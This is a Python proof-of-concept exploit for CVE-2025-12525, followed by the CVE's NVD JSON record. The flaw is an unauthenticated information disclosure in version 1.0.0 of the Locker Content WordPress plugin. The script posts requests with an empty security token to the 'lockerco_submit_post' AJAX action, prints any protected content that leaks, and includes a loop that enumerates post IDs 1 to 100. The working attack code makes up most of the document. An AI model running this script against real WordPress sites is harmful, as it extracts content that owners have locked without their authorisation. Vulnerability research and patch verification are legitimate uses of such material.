CVE-2025-12525

# CVE-2025-12525 PoC - Locker Content Plugin Information Disclosure # Affected Version: 1.0.0 # Target: WordPress site with Locker Content plugin installed import requests import sys def check_vulnerability(target_url): """ Check if the target WordPress site is vulnerable to CVE-2025-12525 """ # WordPress AJAX endpoint ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" # Target vulnerable action action = "lockerco_submit_post" # Payload to extract protected content # The vulnerable parameter may vary - common patterns: payload = { "action": action, "post_id": "1", # Try different post IDs "security": "", # Empty security token (not required due to bug) } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } print(f"[*] Testing target: {target_url}") print(f"[*] AJAX Endpoint: {ajax_endpoint}") print(f"[*] Sending request to extract protected content...") try: response = requests.post(ajax_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Response received (Status: {response.status_code})") print(f"[+] Response length: {len(response.text)} bytes") # Check if content was leaked if len(response.text) > 100 and "<!DOCTYPE" not in response.text[:50]: print("[!] VULNERABLE - Protected content may have been leaked!") print("\n--- Leaked Content Preview ---") print(response.text[:500]) return True else: print("[-] Target may not be vulnerable or no content returned") return False else: print(f"[-] Unexpected status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def enumerate_protected_posts(target_url, start_id=1, end_id=100): """ Enumerate and extract content from multiple protected posts """ ajax_endpoint = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php" print(f"\n[*] Starting enumeration of posts {start_id} to {end_id}...") for post_id in range(start_id, end_id + 1): payload = { "action": "lockerco_submit_post", "post_id": str(post_id), } try: response = requests.post(ajax_endpoint, data=payload, timeout=5) if response.status_code == 200 and len(response.text) > 100: print(f"[+] Post ID {post_id}: Content found ({len(response.text)} bytes)") except: pass if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-12525_poc.py <target_url>") print("Example: python cve-2025-12525_poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

{"cve": {"id": "CVE-2025-12525", "sourceIdentifier": "[email protected]", "published": "2025-11-25T08:15:48.493", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Locker Content plugin for WordPress is vulnerable to Sensitive Information Exposure in version 1.0.0 via the 'lockerco_submit_post' AJAX endpoint. This makes it possible for unauthenticated attackers to extract content from posts that has been protected by the plugin."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3400155%40locker-content&new=3400155%40locker-content", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/locker-content/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/927f94b0-2a5d-4d17-a05b-7940d7976158?source=cve", "source": "[email protected]"}]}}